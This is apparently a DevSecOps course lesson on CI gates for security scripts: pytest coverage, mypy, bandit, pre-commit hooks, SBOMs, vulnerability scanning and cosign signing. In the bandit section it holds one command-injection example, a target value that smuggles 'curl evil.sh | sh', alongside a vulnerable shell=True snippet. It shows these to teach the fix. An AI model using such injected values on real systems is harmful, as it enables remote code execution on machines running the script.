CoursesAdvanced scripting for DevSecOpsTesting, CI & supply chain: pytest, mypy, SBOM & signing

Testing, CI & supply chain: pytest, mypy, SBOM & signing

pytest/coverage, mypy, pre-commit, SBOMs and signing the tools you ship.

Expert35 min · lesson 15 of 15

A restaurant does not accept a delivery of ground beef on trust. There is an inspection stamp on the box, a seal that shows if it was opened, a label listing what is inside, and a date. Break the seal and the box goes back to the supplier. The scripts you write for security work are a delivery too. Something downstream runs them, often with a key to the very systems they touch, so they carry the same obligations as any shipped good: whoever receives one has to be able to check that it was tested, that its contents are known, and that nobody slipped anything in between your pipeline and their machine.

This lesson wires those checks into one gate that runs on every change, so none of it depends on a person remembering to type a command. There are two halves. Proving the code is correct and safe (tests, types, static analysis), and proving the shipped artifact is genuinely yours with its parts accounted for (an inventory, a vulnerability scan, a signature).

Tests prove behavior, coverage shows the blind spots

pytest runs the small functions you wrote that call your code and assert what should come back. Each assertion is one claim: given this input, the parser returns that value. Coverage is the map on the wall showing which lines of your code actually ran while those tests executed. A branch that no test ever reached shows up as a gap, and gaps are where bugs hide. The flag --cov-fail-under=85 turns a vague intention into a hard rule: if fewer than 85 percent of the lines ran under test, the command exits non-zero and the build stops.

~/secopslog — bash
$ pytest --cov=sec_tools --cov-report=term-missing --cov-fail-under=85
============================= test session starts ============================== platform linux -- Python 3.11.2, pytest-8.2.0, pluggy-1.5.0 rootdir: /home/eng/sec-tools configfile: pyproject.toml plugins: cov-5.0.0 collected 34 items tests/test_parser.py .......... [ 29%] tests/test_scanner.py ............... [ 73%] tests/test_signing.py ......... [100%] ---------- coverage: platform linux, python 3.11.2-final-0 ----------- Name Stmts Miss Cover Missing -------------------------------------------------------- sec_tools/__init__.py 3 0 100% sec_tools/parser.py 88 4 95% 66-69 sec_tools/scanner.py 120 11 91% 40, 152-161 sec_tools/signing.py 64 9 86% 88-96 -------------------------------------------------------- TOTAL 275 24 91% Required test coverage of 85% reached. Total coverage: 91.27% ============================== 34 passed in 2.14s ==============================
Coverage is not the same as tested
A line counts as covered the moment a test executes it, whether or not the test checked the result. A test that calls scan() and asserts nothing still pushes the number up. Read the Missing column for real holes, and treat a high percentage as a floor for confidence, not proof of it.

Types catch the shape errors before they run

Python is happy to hand a string to a function that expected bytes, and it only falls over when that exact line runs, which might be a rare error path you hit for the first time in production at 3am. mypy reads the type annotations on your functions and checks the fittings ahead of time, the way you would confirm a pipe thread is the right diameter before turning the water on. It never runs your code. It reads it.

~/secopslog — bash
$ mypy sec_tools
sec_tools/scanner.py:73: error: Argument 1 to "sha256" has incompatible type "str"; expected "ReadableBuffer" [arg-type] Found 1 error in 1 file (checked 4 source files)

That one line is a real bug found without running anything. hashlib.sha256() wants bytes-like data (ReadableBuffer, which plain bytes satisfies), and something is handing it a str, which is text. You fix it by encoding the value first (value.encode()), rerun, and the check goes green. No test had to reach that path in production before you caught it.

Find the dangerous patterns automatically

bandit is a smoke detector tuned for specific hazards. It does not understand what your program means; it recognizes shapes that are known to start fires: subprocess calls with shell=True (a command injection door), yaml.load without the safe loader, pickle on data from outside, passwords written into the source. The -ll flag raises the reporting threshold to medium severity and above, so the noise stays down and the real findings stand out. ruff is the fast linter that catches the smaller correctness and style problems (an unused import, a bare except) in milliseconds.

~/secopslog — bash
$ bandit -r sec_tools -ll # -ll: report medium severity and higher
[main] INFO profile include tests: None [main] INFO profile exclude tests: None [main] INFO cli include tests: None [main] INFO cli exclude tests: None [main] INFO running on Python 3.11.2 Run started:2026-07-17 09:12:44.512331 Test results: >> Issue: [B602:subprocess_popen_with_shell_equals_true] subprocess call with shell=True identified, security issue. Severity: High Confidence: High CWE: CWE-78 (https://cwe.mitre.org/data/definitions/78.html) Location: sec_tools/scanner.py:104:8 More Info: https://bandit.readthedocs.io/en/1.7.9/plugins/b602_subprocess_popen_with_shell_equals_true.html 103 cmd = f"nmap -sV {target}" 104 out = subprocess.run(cmd, shell=True, capture_output=True) 105 return out.stdout -------------------------------------------------- Code scanned: Total lines of code: 275 Total lines skipped (#nosec): 0 Run metrics: Total issues (by severity): Undefined: 0 Low: 0 Medium: 0 High: 1 Total issues (by confidence): Undefined: 0 Low: 0 Medium: 0 High: 1 Files skipped (0):

Look at what bandit caught. The target string is dropped straight into a shell command with shell=True. Feed that function a target of example.com; curl evil.sh | sh and the shell runs your nmap and then the attacker's payload. The fix is to pass an argument list (["nmap", "-sV", target]) and drop the shell. A defender reading someone else's script treats every shell=True on interpolated input as guilty until proven safe.

~/secopslog — bash
$ ruff check sec_tools
sec_tools/parser.py:88:5: E722 Do not use bare `except` sec_tools/scanner.py:12:1: F401 [*] `os.path` imported but unused Found 2 errors. [*] 1 fixable with the `--fix` option.

Make the gate automatic

A turnstile at the platform lets you onto the train only after you have tapped through. pre-commit is that turnstile for your commits. It runs the checks on the files you changed, every time you commit, so "I forgot to run mypy" stops being a thing that can happen. The config lives in the repo, so every clone gets the same gate with the same pinned tool versions.

.pre-commit-config.yaml
repos:
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.6.0
hooks:
- id: ruff
args: [--fix]
- id: ruff-format
- repo: https://github.com/PyCQA/bandit
rev: 1.7.9
hooks:
- id: bandit
args: ["-ll", "-r", "sec_tools"]
- repo: https://github.com/pre-commit/mirrors-mypy
rev: v1.11.1
hooks:
- id: mypy
additional_dependencies: [types-requests]
~/secopslog — bash
$ pre-commit install && pre-commit run --all-files
pre-commit installed at .git/hooks/pre-commit ruff.....................................................................Passed ruff-format..............................................................Passed bandit...................................................................Passed mypy.....................................................................Passed

Local hooks are a fast feedback loop, not a wall. Anyone can skip them with git commit --no-verify, and a hook only guards the machine it is installed on. So the same checks run again as a required job in CI (continuous integration, the automated service that builds and tests your code on every push), where nobody can wave them through. The local hook saves you a round trip; the CI job is the gate that actually decides what merges.

A parts list for what you ship

An SBOM (Software Bill of Materials) is the ingredients label on the box: a machine-readable list of every component and version baked into your artifact. CycloneDX and SPDX (Software Package Data Exchange) are the two common label formats. The payoff comes on a bad day. When the next critical CVE (Common Vulnerabilities and Exposures, the public catalog of known security flaws) is published against some library, you search your stored SBOMs and know in minutes which shipped artifacts contain the vulnerable version, instead of re-deriving every tool's dependency tree by hand while the clock runs.

~/secopslog — bash
$ pip install cyclonedx-bom # generate a CycloneDX SBOM from the installed virtualenv cyclonedx-py environment -o sbom.json # how many components does a 200-line tool actually ship? jq '.components | length' sbom.json jq -r '.components[] | "\(.name) \(.version)"' sbom.json | head -3
147 certifi 2024.7.4 cffi 1.16.0 charset-normalizer 3.3.2

A tool that is 200 lines of your own code ships 147 components you did not write. That number is the whole reason the next two steps exist.

Scan the parts you didn't write

The label tells you what is inside; a scan tells you which of those parts is now known to be bad. pip-audit checks your pinned Python dependencies against a vulnerability database. trivy scans the whole container image: your dependencies and the base operating system packages underneath them. Run both on every build, and again on a schedule, because a package that was clean the day you released it becomes vulnerable the day someone files a CVE against it. Nothing about the artifact changed. The world's knowledge of it did.

~/secopslog — bash
$ pip-audit -r requirements.txt --strict
Found 1 known vulnerability in 1 package Name Version ID Fix Versions ------- ------- ------------------- -------------- urllib3 2.0.4 GHSA-v845-jxx5-vc9w 2.0.6,1.26.17
$ trivy image --exit-code 1 --severity HIGH,CRITICAL ghcr.io/acme/sec-tools:1.2.0
2026-07-17T09:20:11Z INFO Vulnerability scanning is enabled 2026-07-17T09:20:11Z INFO Detected OS family="debian" version="12.5" 2026-07-17T09:20:12Z INFO Number of language-specific files num=1 ghcr.io/acme/sec-tools:1.2.0 (debian 12.5) ========================================== Total: 1 (HIGH: 1, CRITICAL: 0) ┌──────────┬───────────────┬──────────┬────────┬───────────────────┬───────────────────┬─────────────────────────────┐ │ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ ├──────────┼───────────────┼──────────┼────────┼───────────────────┼───────────────────┼─────────────────────────────┤ │ libssl3 │ CVE-2024-6119 │ HIGH │ fixed │ 3.0.13-1~deb12u1 │ 3.0.14-1~deb12u2 │ openssl: denial of service │ │ │ │ │ │ │ │ in X.509 name checks │ └──────────┴───────────────┴──────────┴────────┴───────────────────┴───────────────────┴─────────────────────────────┘

pip-audit exits non-zero when it finds something, and trivy's --exit-code 1 does the same, so a finding fails the build instead of scrolling past in a log. A scan that cannot stop a release is a report nobody reads.

Sign what you ship

A wax seal on a letter does not hide the message; it proves who closed the envelope, and a broken seal is obvious. cosign puts that seal on your container images and release artifacts. Keyless signing (from the Sigstore project) means you never hold a private key that can leak. The CI job proves its identity through OIDC (OpenID Connect, the standard way one service proves "I am this specific workload" to another), receives a short-lived certificate, signs with it, and records the event in a public transparency log (an append-only ledger called Rekor, so anyone can later confirm that this identity signed this artifact at this time).

~/secopslog — bash
$ # sign the released image using the CI job's OIDC identity (no private key) cosign sign --yes ghcr.io/acme/sec-tools:1.2.0 # attach the SBOM as a signed attestation cosign attest --yes --predicate sbom.json --type cyclonedx ghcr.io/acme/sec-tools:1.2.0
Generating ephemeral keys... Retrieving signed certificate... tlog entry created with index: 138201923 Pushing signature to: ghcr.io/acme/sec-tools Using payload from: sbom.json Generating ephemeral keys... Retrieving signed certificate... tlog entry created with index: 138201925

The consumer, or an admission controller (the gatekeeper in a Kubernetes cluster that inspects every image before it is allowed to run), verifies the seal before trusting the tool. The verify output prints the exact workflow that signed it, which is the fact you care about.

~/secopslog — bash
$ cosign verify \ --certificate-identity-regexp 'https://github.com/acme/.+' \ --certificate-oidc-issuer https://token.actions.githubusercontent.com \ ghcr.io/acme/sec-tools:1.2.0
Verification for ghcr.io/acme/sec-tools:1.2.0 -- The following checks were performed on each of these signatures: - The cosign claims were validated - Existence of the claims in the transparency log was verified offline - The code-signing certificate was verified using trusted certificate authority certificates [{"critical":{"identity":{"docker-reference":"ghcr.io/acme/sec-tools"},"image":{"docker-manifest-digest":"sha256:9b2c1f..."},"type":"cosign container image signature"},"optional":{"Issuer":"https://token.actions.githubusercontent.com","Subject":"https://github.com/acme/sec-tools/.github/workflows/release.yml@refs/tags/v1.2.0"}}]
A signature with no identity check proves nothing
In keyless mode, cosign verify refuses to run unless you pass both --certificate-identity (or its -regexp form) and --certificate-oidc-issuer. The trap is a lazy value for them. Pin only the issuer, or hand the identity a wildcard like --certificate-identity-regexp '.*', and you will accept a valid signature from any workload on that issuer, including an attacker's own GitHub Actions run in their own repo. A signature confirms that something signed this; only a tight identity confirms that your pipeline signed this. Pin the exact workflow, not the issuer alone.
The quality and provenance gate, end to end
1Commit
pre-commit runs ruff, mypy, bandit on changed files
2CI gate
pytest + coverage, mypy, bandit block the merge
3Build
image built from pinned, hashed dependencies
4Inventory
CycloneDX SBOM generated, stored with the artifact
5Scan
pip-audit + trivy fail on HIGH or CRITICAL
6Sign
cosign keyless signs the image, attests the SBOM
7Verify
consumer or admission controller checks the identity
Quick check
01Your release passed pip-audit and trivy with zero findings. Two weeks later a critical CVE is disclosed in a library the image bundles. What lets you answer "which shipped artifacts are affected?" in minutes?
Incorrect — Tests check your behavior, not whether a dependency has a newly disclosed CVE.
Correct — the saved inventory plus a fresh scan maps the new CVE to exact artifacts and versions.
Incorrect — A valid signature proves provenance and integrity, not that the contents are free of vulnerabilities.
Incorrect — Coverage measures which of your lines were tested, and says nothing about third-party CVEs.
02The lesson warns that "coverage is not the same as tested." What is the specific limitation of a line counting as covered?
Incorrect — coverage tracks executed lines regardless of annotations; type checking is mypy's job, not coverage's.
Correct — a test that calls a function but checks nothing still raises the number, so read the Missing column and treat the percentage as a floor for confidence.
Incorrect — line coverage does not require every branch, and the missing lines are untested, not dead code.
Incorrect — --cov=sec_tools scopes the measurement to your own package, not to its dependencies.
03Your deploy verifies images with cosign verify --certificate-oidc-issuer https://token.actions.githubusercontent.com --certificate-identity-regexp '.*' <image>. The signature verifies and the deploy proceeds. Why is this check nearly worthless?
Incorrect — '.*' is valid and matches every identity, so it does not skip the check, it accepts all of them.
Incorrect — both flags are required and used; the issuer is checked, but the identity pattern is simply far too loose.
Correct — a wildcard identity trusts any signer on that issuer, so you must pin the exact release workflow, not just the issuer.
Incorrect — Rekor is an append-only ledger and its entries do not expire; that is not the weakness here.
The risk surface is the dependency tree, not your code
Your 200-line tool imports hundreds of thousands of lines you never read. That imported code is where a realistic compromise comes from, not from your own logic. Keep the tree small, pin and hash every dependency, scan it continuously, and sign what you release so a swapped artifact is detectable.

Wire the whole gate as required CI, not as advice in a README, so a broken, unsafe, or unsigned build cannot reach anyone. Treat the scripts that automate your security the way you treat the systems they protect, because whoever quietly owns your tooling owns everything that tooling can touch.

Try this

Work through “Sign what you ship” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: coverage is not the same as tested. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related